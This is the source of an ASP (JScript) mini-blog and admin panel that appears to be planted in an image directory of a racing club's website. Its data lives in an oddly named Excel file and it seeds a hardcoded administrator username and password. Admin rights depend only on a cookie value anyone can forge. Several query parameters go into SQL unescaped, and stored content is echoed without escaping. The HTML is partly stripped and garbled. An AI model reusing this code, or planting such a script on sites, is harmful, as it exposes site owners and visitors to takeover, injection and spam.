<%@language=LiveScript CodePage=65001 %> <% DataFile="dfsdfsa4683.xls"; db=Server.MapPath(DataFile); FileName=""+Request.ServerVariables("URL"); FileName=FileName.replace(/(.*)\//g,""); conn=Server.CreateObject("ADODB.Connection"); rs=Server.CreateObject("ADODB.RecordSet"); //connstr="Driver={Microsoft Excel Driver (*.xls)};DBQ="+db+";ReadOnly=0;"; connstr="Provider=Microsoft.Jet.OLEDB.4.0;Extended Properties=Excel 8.0;Data Source="+db; conn.Open(connstr); Response.Addheader("Content-Type","text/html;charset=utf-8"); BlogName=" capriracing.co.uk BLK Mini Blog", BlogURL="http:// capriracing.co.uk/images/index.asp"; try { sql="select * from Copyright"; rs.Open(sql,conn); BlogName=rs(0)+""; BlogURL=rs(1)+""; YeTou=rs(2)+""; YeWei=rs(3)+""; rs.Close(); } catch(e) { try { sql="Create table Article(BH int,Title varchar(255),Content memo,Keywords varchar(50),URL varchar(255),RiQi varchar(14),DianJi int,Category varchar(50),ShanChu bit)"; conn.Execute(sql); sql="Create table Copyright(ZhanMing varchar(40),BlogURL varchar(255),YeTou memo, YeWei memo)"; conn.Execute(sql); sql="Insert Into Copyright values('"+BlogName+"','"+BlogURL+"','Page Header','Page Footer')"; conn.Execute(sql); sql="Create table [User](BH int,YongHu varchar(50),MiMa varchar(50),QuanXian bit,ShanChu bit)"; conn.Execute(sql); sql="Insert into [User] values(0,'dfsdfsa4683','332dfds252',1,0)"; conn.Execute(sql); }catch(e){Response.Write(e);Response.End();} } Action=""+Request.QueryString("action"); Category=""+Request.QueryString("cat"); ID=parseInt(Request.QueryString("ID")); if(Category=="undefined"){Title=Action;} else{Title=Category;} %> <% if(Title=="undefined") { if(isNaN(ID)){Response.Write(BlogName);} else { sql="select Title,URL from Article where ShanChu=0 and BH="+ID; rs.Open(sql,conn); if(rs.eof){Response.Write("can't found");} else{Response.Write(rs(0));} rs.Close(); } } else { Title=Title.replace("manage","article manage"); Title=Title.replace("user","user manage"); Title=Title.replace("login","user login"); Title=Title.replace("setting","copyright setting"); Response.Write(Title); }%>

Blogs

<% switch(Action) { /*********** loginpage **************/ case "loginpage":%>
  • <%if(Request.Cookies("ad7b11ba0")+""==""||Request.Cookies("ad7b11ba0")+""=="undefined"||Request.Cookies("ad7b11ba0")=="Guest") {%>
    userlogin
    username:
    password:
    <%} else{Response.Write("articlemanage");} %>
<% break; /*********** loginaction **************/ case "login": YongHu=Request.Form("YongHu")+""; YongHu=YongHu.replace(/'/g,"''"); MiMa=Request.Form("MiMa")+""; MiMa=MiMa.replace(/'/g,"''"); if(YongHu+""=="undefined") { Response.Cookies("ad7b11ba0")="Guest"; Response.Cookies("ad7b11ba0").Expires="2038-1-1"; Response.Write("
you have logout state .

"); } else { sql="select * from [User] where YongHu='"+YongHu+"' and MiMa='"+MiMa+"' and ShanChu=0"; rs.Open(sql,conn); if(rs.eof){Response.Write("
sorry ,Your input user name or passwd not right.

");} else{QuanXian=""+rs(3); if(QuanXian=="true"){QuanXian=true;} else{QuanXian=false;} //设置COOKIES Response.Cookies("ad7b11ba0")=QuanXian?"Admin":"User"; Response.Cookies("ad7b11ba0").Expires="2038-1-1"; Response.Write("
loginsuccess

");} rs.Close(); } break; /*********** articlemanage **************/ case "manage": if(Request.QueryString("do")+""=="delete"&&Request.Cookies("ad7b11ba0")=="Admin") { sql="update Article set ShanChu=1 where BH="+Request.QueryString("BH"); conn.Execute(sql); } if(Request.QueryString("do")+""=="huifu"&&Request.Cookies("ad7b11ba0")=="Admin") { sql="update Article set ShanChu=0 where BH="+Request.QueryString("BH"); conn.Execute(sql); } if(Request.QueryString("do")+""=="add") { sql="select count(*) from Article"; rs.open(sql,conn); BH=rs(0)+""; rs.Close(); Title=Request.Form("Title")+""; Category=Request.Form("Category")+""; Content=Request.Form("Content")+""; //str_match = Content.match(']+href="(.*)"[^>]*>(.*)'); //URL = str_match[1]; //Keywords = str_match[2]; //Response.write(url); Keywords=Request.Form("Keywords")+""; URL=Request.Form("URL")+""; Title=Title.replace(/'/g,"''"); Category=Category.replace(/'/g,"''"); Content=Content.replace(/'/g,"''"); Content=Content.replace(/\r/g,"
"); Keywords=Keywords.replace(/'/g,"''"); URL=URL.replace(/'/g,"''"); RiQi=new Date(); Nian=RiQi.getYear(); Yue=RiQi.getMonth()+1; /*********** Content=Content.replace(/ /g," ");*************/ if(Yue<10) Yue="0"+Yue; Ri=RiQi.getDate(); if(Ri<10) Ri="0"+Ri; RiQi=Nian+"-"+Yue+"-"+Ri+""; sql="select top 1 BH from Article where ShanChu=1 order by RiQi asc"; rs.open(sql,conn); if(!rs.eof) { sql="Update Article set Title='"+Title+"',Content='"+Content+"',Keywords='"+Keywords+"',URL='"+URL+"',RiQi='"+RiQi+"',DianJi=0,Category='"+Category+"',ShanChu=0 where BH="+rs(0); } else { sql="insert into Article values("+BH+",'"+Title+"','"+Content+"','"+Keywords+"','"+URL+"','"+RiQi+"',0,'"+Category+"',0)"; } rs.Close(); if(Request.Cookies("ad7b11ba0")=="User"||Request.Cookies("ad7b11ba0")=="Admin") { conn.Execute(sql); Response.Write("publishsuccess"+BH+"
"); } } if(Request.QueryString("do")+""=="modify"&&Request.Cookies("ad7b11ba0")=="Admin") { if(Request.Form("BH")+""!="undefined") { Title=Request.Form("Title")+""; Category=Request.Form("Category")+""; Content=Request.Form("Content")+""; Keywords=Request.Form("Keywords")+""; URL=Request.Form("URL")+""; Title=Title.replace(/'/g,"''"); Category=Category.replace(/'/g,"''"); Content=Content.replace(/'/g,"''"); Content=Content.replace(/\r/g,"
"); Keywords=Keywords.replace(/'/g,"''"); URL=URL.replace(/'/g,"''"); RiQi=new Date(); Nian=RiQi.getYear(); Yue=RiQi.getMonth()+1; /*************Content=Content.replace(/ /g," ");*************/ if(Yue<10) Yue="0"+Yue; Ri=RiQi.getDate(); if(Ri<10) Ri="0"+Ri; RiQi=Nian+"-"+Yue+"-"+Ri+"-"; sql="Update Article set Title='"+Title+"',Content='"+Content+"',Keywords='"+Keywords+"',URL='"+URL+"',RiQi='"+RiQi+"',Category='"+Category+"' where BH="+Request.Form("BH"); conn.Execute(sql); Response.Write("updatesuccess"); } else {%>
modify article
<%sql="select * from Article where BH="+Request.QueryString("BH"); rs.Open(sql,conn); BH=rs(0)+""; Title=rs(1)+""; Content=rs(2)+""; Keywords=rs(3)+""; URL=rs(4)+""; Category=rs(7)+""; rs.Close(); Title=Title.replace("/g,"); Content=Content.replace(/
\n/g,"\r\n");%>
articletitle
suoshucategory
detail/content
Keywords
url
<%} }%>

back home

articlemanage

<%if(Request.Cookies("ad7b11ba0")=="Admin"){%>

usermanage

copyrightsetting

<%}%>

logout
(clicktitlemodify article)
addarticle
<% sql="select BH,Title,ShanChu from Article order by RiQi DESC"; rs.open(sql,conn,1); rs.pagesize=17; page=parseInt(Request.QueryString("yema")); if(isNaN(page)||page<1) page=1; if(page>rs.pagecount) page=rs.pagecount; if(rs.eof){Response.Write("curr , no any article.");} else{ rs.absolutepage=page; for(C=0;C <%rs.MoveNext(); if(rs.eof) break;}} pagecount=rs.pagecount; recordcount=rs.recordcount; rs.Close();%>
@ <%=rs(1)%> <%if(rs(2)==0){%>delete<%} else{%>huifu<%}%>
<%if(page>1){%>[index] [Previous Page] <%}%><%if(page!=pagecount){%>[Next Page] [last] <%}%>jump to page.(total <%=recordcount%> recodes)
<% break; /*********** useraction **************/ case "user": FangFa=Request.Form("TiJiao")+""; if(FangFa=="add"&&Request.Cookies("ad7b11ba0")=="Admin") { sql="Select count(*) from [User]"; rs.open(sql,conn); BH=rs(0)+""; rs.Close(); YongHu=Request.Form("YongHu"); MiMa=Request.Form("MiMa"); QuanXian=Request.Form("QuanXian"); ShanChu=Request.Form("ShanChu"); sql="insert into [User] values("+BH+",'"+YongHu+"','"+MiMa+"',"+QuanXian+","+ShanChu+")"; conn.Execute(sql); } if(FangFa=="save"&&Request.Cookies("ad7b11ba0")=="Admin") { BH=Request.Form("BH"); YongHu=Request.Form("YongHu"); MiMa=Request.Form("MiMa"); QuanXian=Request.Form("QuanXian"); ShanChu=Request.Form("ShanChu"); sql="update [User] set YongHu='"+YongHu+"',MiMa='"+MiMa+"',QuanXian="+QuanXian+",ShanChu="+ShanChu+" where BH="+BH; conn.Execute(sql); }%>

back home

articlemanage

<%if(Request.Cookies("ad7b11ba0")=="Admin"){%>

usermanage

copyrightsetting

<%}%>

logout


 <% sql="Select * from [User] order by BH desc"; if(Request.Cookies("ad7b11ba0")=="Admin") { rs.open(sql,conn); while(!rs.eof) {%> <%rs.MoveNext(); } rs.Close(); }%>

usermanage

user: passwd:
user: passwd:
<% break; /*********** copyrightsetting **************/ case "setting": TiJiao=Request.Form("TiJiao")+""; if(Request.Cookies("ad7b11ba0")=="Admin"&&TiJiao=="save") { BlogName=Request.Form("ZhanMing")+""; BlogURL=Request.Form("BlogURL"); YeTou=Request.Form("YeTou"); YeWei=Request.Form("YeWei"); sql="update Copyright set ZhanMing='"+BlogName+"',BlogURL='"+BlogURL+"',YeTou='"+YeTou+"',YeWei='"+YeWei+"'"; conn.Execute(sql); Response.Write(""); }%>

back home

articlemanage

<%if(Request.Cookies("ad7b11ba0")=="Admin"){%>

usermanage

copyrightsetting

<%}%>

logout

copyrightsetting

site name: address:
YeTou:
YeWei:
<%break; /*********** default **************/ default: ID=parseInt(Request.QueryString("ID")); if(!isNaN(ID)) {%>
<% sql="select * from Article where ShanChu=0 and BH="+ID; rs.Open(sql,conn); if(!rs.eof) { sql="update Article set DianJi=DianJi+1 where BH="+ID; conn.Execute(sql);%>

<%=rs(1)%>

date:<%=rs(5)%>
<%=rs(3)%>

<%=rs(2)%>

<%} else{Response.Write("
error: can't find this ID, or This file was deleted.
");} Category=""+rs(7); rs.Close();%>
<%} else{%>
<%Category=Request.QueryString("cat")+""; Category=Category.replace(/'/g,"''"); if(Category!="undefined"){Category=" and Category='"+Category+"'";} else{Category="";}%><%if(Request.QueryString("cat")+""!="undefined"){%><%=Request.QueryString("cat")%><%} else{%>HOME<%}%>

    <%Keyword=Request.QueryString("keywords")+""; Keyword=Keyword.replace(/'/g,"''"); if(Keyword=="undefined"){Rule="";} else{Rule=" and(Title like '%"+Keyword+"%' or Content like '%"+Keyword+"%')";} sql="select Category,Title,BH,RiQi,DianJi,URL,Content from Article where ShanChu=0"+Category+Rule+" order by RiQi DESC"; rs.Open(sql,conn,1); rs.pagesize=27; page=parseInt(Request.QueryString("yema")); if(isNaN(page)||page<1) page=1; if(page>rs.pagecount) page=rs.pagecount; if(rs.eof){Response.Write("Not found !");} else{rs.absolutepage=page; for(C=0;C

    <%=(""+rs(1)).link(""+rs(5))%>

    <%=rs(6)%>
    • <%=Category%>
    • <%="Read more".link(FileName+"?ID="+rs(2))%>
    <% /*Response.Write("
  • "+Category+(""+rs(1)).link(FileName+"?ID="+rs(2))+"("+rs(5)+" "+(""+rs(3)).fontcolor("456789")+" "+(""+rs(4)).fontcolor("green")+")
    • ");*/ /*Response.Write("
  • "+Category+(""+rs(1)).link(""+rs(5))+"("+"detail".link(FileName+"?ID="+rs(2))+(""+rs(3)).fontcolor("456789")+" "+(""+rs(4)).fontcolor("green")+")
    "+(""+rs(6))+"
    • ");*/ rs.MoveNext(); if(rs.eof) break;}} pagecount=parseInt(rs.pagecount); recordcount=parseInt(rs.recordcount); rs.Close();%>
<%Category=Request.QueryString("category")+""; if(page>1){%>[">index] [上一page] <%}%><%if(page!=pagecount){%>[下一page] [last] <%}%>jump to page.(total <%=recordcount%> recodes) <%} if(!isNaN(ID)) {%>

<% conn.Close(); delete rs; delete conn; %>